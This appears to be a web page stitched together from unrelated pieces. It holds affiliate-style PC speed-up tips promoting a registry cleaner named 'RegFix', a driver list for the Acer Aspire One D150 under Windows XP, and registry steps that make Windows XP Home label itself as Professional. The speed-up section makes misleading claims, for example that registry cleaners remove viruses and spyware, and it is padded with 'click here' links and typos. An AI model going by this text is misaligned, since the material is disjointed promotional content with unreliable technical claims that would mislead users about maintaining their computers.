This will free up resources show you how to increase PC speed with a few clicks. This is one of the best answers to "how to speed up PC performance?". These easy point and click programs also defrag your hard drive and remove spyware. All that with the push of a button weekly will keep your computer running at it’s original PC speed specs. There are dozens of different registry cleaners software and registry cleaner tools available for use with the registry, However only about 5 have really proven themselves based on user support. One of the industry leaders is RegFix. It was last year's Most Popular PC Repair product. RegFix is the easiest and best. It’s easy to get scammed with inferior products so it’s best to choose a registry cleaner with an excellent record.For an in depth comparison of the best registry cleaner on the market, click this link.
2. Defrag your hard drive
Over time, the data on your hard drive gets scattered. De-fragmenting your hard drive puts your data back into sequential order, making it easier for Windows to access it. As a result, the performance of your computer will improve. An excellent registry cleaner will allow show you how to speed up your PC using defrag techniques. For Easy Steps to Defrag your PC Click Here!. Remember that the hard drive is the cornerstone of your system. If it is in trouble your system can collapse.
Tips to Speed Up Your Hard Drive Click Here! If you are interested in speed up your computer on the net. Click the image below. If not read on.
3. Scan for Adware/Spyware and VirusesThese nasty little worms can wreak havoc on your PC speed. Detecting and cleaning viruses is an excellent way to improve your system's performance and increase PC speed. Registry cleaners will help to remove these buggers also!To Learn more a about the best Spyware removal programs on the maket, Click this link
4. Adjust your computer’s Visual effects
Windows provides a number of resource hogging and interesting visual effects like animated windows and fading menus. These effects, however, can slow down your computer and kill your PC speed. By Altering your preferences and performance needs you can learn how to increase PC Speed in seconds. This is one of Microsoft's tips on how to increase PC speed and performance.Visit Adjust Visual Performance page for assistance.
A excellent registry cleaner can perform all but number 4. If you are serious about learning how to speed up PC performance. Get a registry cleaner and let it do most of the work. There are lot of registry cleaner choices on the market. Learn how to increase PC speed organically and don't get scammed into spending thousands for a new PC.

Bonus Tips

Use a Window's Optimization Tool
Using a Windows Optimization tool can give you a big boost in the the performance department. This takes the work out of your regular maintenance of organizing files, defragging your hard drive and other optimization task. For Windows Optimization Tools, Click Here!

Manage Your Startups

By managing your Windows startup programs and services you can free of vital CPU resources that can re-allocated your PC performance. This is a quick and easy tweak learn how to speed up PC CPU access time. Click Here to Learn how to speed up PC performance by managing your Startups.

Clean Windows Temp Files

Your Windows Temp files can swell to enormous sizes. This will eat up free space that could be allocated for applications you would like to use. Learn how to clean up your PC of useless files

Drivers Acer Aspire One D150 in Windows XP

Here are driver for Acer Aspire One D150  in Windows XP

Chipset:
Chipset Intel v.8.3.0.1018 WHQL

after install it then please reboot first before continue with other driver installation.

Video/VGA:
Video Graphics VGA Intel v.6.14.10.4926 WHQL

Audio:
Sound Audio Realtek 272 v5.10.0.5767 WHQL MIC50 19db Down3

Webcam:
WebCam CCD Suyin AP v2.2.0.2

Camera CCD Suyin Driver v1.0.2.1 WHQL

Cardreader Realtek XP M 6.0.6000.75 WHQL


Network/Wireless lan:
LAN Ethernet AR8114 v1.0.0.30 WHQL

WLAN & Wimax Intel Echo Peak 12.1.0.14 WHQL

WLAN Wireless Atheros XB63 T60H976.11 7.6.0.260 WHQL

WLAN Broadcom 4312 T77H030 4.170.75.0 WHQL

Others:
Bluetooth 2045 T60H928 5.1.0.4500 XPx32 WHQL

Bluetooth 2045 T60H928 5.1.0.4500 XPx64 WHQL

CCD Chicony AP v1.1.69.1216

Camera CCD Chincony Driver v1.8.0.0 WHQL

CCD LiteOn AP

CCD LiteOn DRV v5.8.33.005 WHQL

Intel Matrix Storage Manager Intel v8.0.0.1039 WHQL

KAV10 LaunchManager.12-30-08.v2.0.06 1930

Touchpad Synaptics TM01076-009 v12.2.2.0 WHQL

How to Convert and Upgrade Windows XP Home to Professional Without Reinstalling

After installing Windows XP Home Edition or Windows XP Professional Edition onto a computer
, officially it’s impossible for user to convert, or upgrade from Windows XP Home to Pro edition, or downgrade from Windows XP Professional to Home edition without reformatting and reinstalling the operating system from clean and fresh state.

A lot of people always associate conversion of Windows XP edition to illegitimate or privacy reason, but sometimes, there may be legitimate and genuine reason for change, such as customer, who all the while using Windows XP Home Edition (HE) finally buy a genuine license product key for Professional edition to replace the illegal pirated version installed, or user receives additional license as gift, but don’t want to go through clean install Windows XP again, or want to keep using the computer with all data intact without interruption.

Here’s a trick to convert and turn Windows XP Home Edition to Windows XP Pro Edition, from within the operating system without going through installation again. Ok, let’s be frank. The hack doesn’t actually install and add in all the features from Windows XP Professional that Windows XP Home lacks of, such as Remote Desktop Server (see guide to install Remote Desktop on XP Home) and Group Policy Editor (GPedit) utility tools, which has been removed on Windows XP Home edition. Some functions which turned off and disabled via integrated switches which read from registry flag whether it’s Home or Professional edition, such as EFS, RAID support and ability to join domain, may or may not work after migration. Basically, the trick only work to let Windows XP recognizes itself as Professional edition.

To convert and upgrade Windows XP Home to Windows XP Professional, follow procedure below.

   1. Open Registry Editor (regedit).
   2. Navigate to HKEY_LOCAL_MACHINE/SYSTEM/ControlSet00X/Control/ProductOptions, where ControlSet00X is the one with the highest number.
   3. Delete the ProductSuite registry key.
   4. Then, create a new DWORD value and named it as Brand.
   5. Set the “Brand” value data as 0.
   6. Reboot the system.
   7. On boot up after the BIOS screen, press F8 to display Windows XP Startup Menu.
   8. Choose Last Known Good Configuration (LNG) and hit Enter.

Windows XP will start up as usual. After logging into the desktop, check the system properties to verify that it’s now Windows XP Professional.